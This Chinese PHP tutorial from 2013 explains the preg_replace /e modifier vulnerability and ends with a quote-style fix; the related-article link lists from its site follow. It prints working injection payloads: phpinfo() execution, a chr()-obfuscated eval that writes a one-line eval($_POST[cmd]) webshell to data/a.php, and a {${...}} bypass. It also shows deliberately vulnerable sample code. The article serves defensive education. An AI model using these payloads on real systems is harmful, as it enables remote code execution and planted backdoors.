慎用preg_replace危险的/e修饰符(一句话后门常用)


Posted in PHP onJune 19, 2013

preg_replace函数原型:

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

特别说明:
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
举例:

<?php 
preg_replace ("/(</?)(w+)([^>]*>)/e", 
"\1.strtoupper(\2).\3", 
$html_body); 
?>

这将使输入字符串中的所有 HTML 标记变成大写。

安全威胁分析:
通常subject参数是由客户端产生的,客户端可能会构造恶意的代码,例如:

<? 
echo preg_replace("/test/e",$_GET["h"],"jutst test"); 
?>

如果我们提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行)。
如果我们提交下面的代码会怎么样呢?
?h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).
chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).
chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).
chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))
密文对应的明文是:fputs(fopen(data/a.php,w),<?php eval($_POST[cmd])?>);
执行的结果是在/data/目录下生成一个一句话木马文件 a.php。

再来一个有难度的例子:

<? 
function test($str) 
{ 
} 
echo preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("\1")', $_GET["h"]); 
?>

提交 ?h=[php]phpinfo()[/php],phpinfo()会被执行吗?
肯定不会。因为经过正则匹配后, replacement 参数变为'test("phpinfo")',此时phpinfo仅是被当做一个字符串参数了。
有没有办法让它执行呢?

当然有。在这里我们如果提交?h=[php]{${phpinfo()}}[/php],phpinfo()就会被执行。为什么呢?
在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。
注意:双引号中的函数不会被执行和替换。

在这里我们需要通过{${}}构造出了一个特殊的变量,'test("{${phpinfo()}}")',达到让函数被执行的效果(${phpinfo()}会被解释执行)。
可以先做如下测试:

echo "{${phpinfo()}}";

phpinfo会被成功执行了。

如何防范这种漏洞呢?
将'test("\1")' 修改为"test('\1')",这样‘${phpinfo()}'就会被当做一个普通的字符串处理(单引号中的变量不会被处理)。

PHP 相关文章推荐
php 提速工具eAccelerator 配置参数详解
May 16 PHP
php验证手机号码(支持归属地查询及编码为UTF8)
Feb 01 PHP
解析PHP中常见的mongodb查询操作
Jun 20 PHP
ThinkPHP表单自动验证实例
Oct 13 PHP
php保存信息到当前Session的方法
Mar 16 PHP
php邮件发送的两种方式
Apr 28 PHP
PHP可变函数学习小结
Nov 29 PHP
PHP中key和current,next的联合运用实例分析
Mar 29 PHP
PHP读取大文件的几种方法介绍
Oct 27 PHP
PHP删除字符串中非字母数字字符方法总结
Jan 20 PHP
PHP中md5()函数的用法讲解
Mar 30 PHP
PHP设计模式之适配器模式(Adapter)原理与用法详解
Dec 12 PHP
解析二进制流接口应用实例 pack、unpack、ord 函数使用方法
Jun 18 #PHP
深入PHP数据加密详解
Jun 18 #PHP
使用array mutisort 实现按某字段对数据排序
Jun 18 #PHP
php多个字符串替换成同一个的解决方法
Jun 18 #PHP
基于PHP读取csv文件内容的详解
Jun 18 #PHP
解析CodeIgniter自定义配置文件
Jun 18 #PHP
Yii PHP Framework实用入门教程(详细介绍)
Jun 18 #PHP
You might like
PDO版本问题 Invalid parameter number: no parameters were bound
2013/01/06 PHP
PHP用身份证号获取星座和生肖的方法
2013/11/07 PHP
php微信公众开发之获取周边酒店信息的方法
2014/12/22 PHP
php实现通用的从数据库表读取数据到数组的函数实例
2015/03/21 PHP
php类常量用法实例分析
2015/07/09 PHP
php简单统计中文个数的方法
2016/09/30 PHP
PHPStrom 新建FTP项目以及在线操作教程
2016/10/16 PHP
php 判断过去离现在几年的函数(实例代码)
2016/11/15 PHP
kindeditor 加入七牛云上传的实例讲解
2017/11/12 PHP
一个判断email合法性的函数[非正则]
2008/12/09 Javascript
jQuery编写widget的一些技巧分享
2010/10/28 Javascript
js自动生成对象的属性示例代码
2013/10/28 Javascript
js判断浏览器类型及设备(移动页面开发)
2015/07/30 Javascript
基于jQuery实现放大镜特效
2020/10/19 Javascript
基于RequireJS和JQuery的模块化编程日常问题解析
2016/04/14 Javascript
用js动态添加html元素,以及属性的简单实例
2016/07/19 Javascript
[02:26]2016国际邀请赛8月3日开战 中国军团出征西雅图
2016/08/02 DOTA
[03:48]DOTA2完美大师赛主赛事第二日精彩集锦
2017/11/24 DOTA
python中使用urllib2伪造HTTP报头的2个方法
2014/07/07 Python
python 网络爬虫初级实现代码
2016/02/27 Python
python中json格式数据输出的简单实现方法
2016/10/31 Python
详解python的数字类型变量与其方法
2016/11/20 Python
Python实现微信自动好友验证,自动回复,发送群聊链接方法
2019/02/21 Python
Python 3.8中实现functools.cached_property功能
2019/05/29 Python
java中的控制结构(if,循环)详解
2019/06/26 Python
pytorch1.0中torch.nn.Conv2d用法详解
2020/01/10 Python
TensorFlow实现批量归一化操作的示例
2020/04/22 Python
OPPO手机官方商城:中国手机市场出货量第一品牌
2017/10/18 全球购物
Spartoo比利时:欧洲时尚购物网站
2017/12/06 全球购物
实习生求职自荐信
2014/02/07 职场文书
促销活动计划书
2014/05/02 职场文书
四风问题个人自查剖析材料思想汇报
2014/09/21 职场文书
国庆节标语大全
2014/10/08 职场文书
商场圣诞节活动总结
2015/05/06 职场文书
工作会议简报
2015/07/20 职场文书
Python内置数据类型中的集合详解
2022/03/18 Python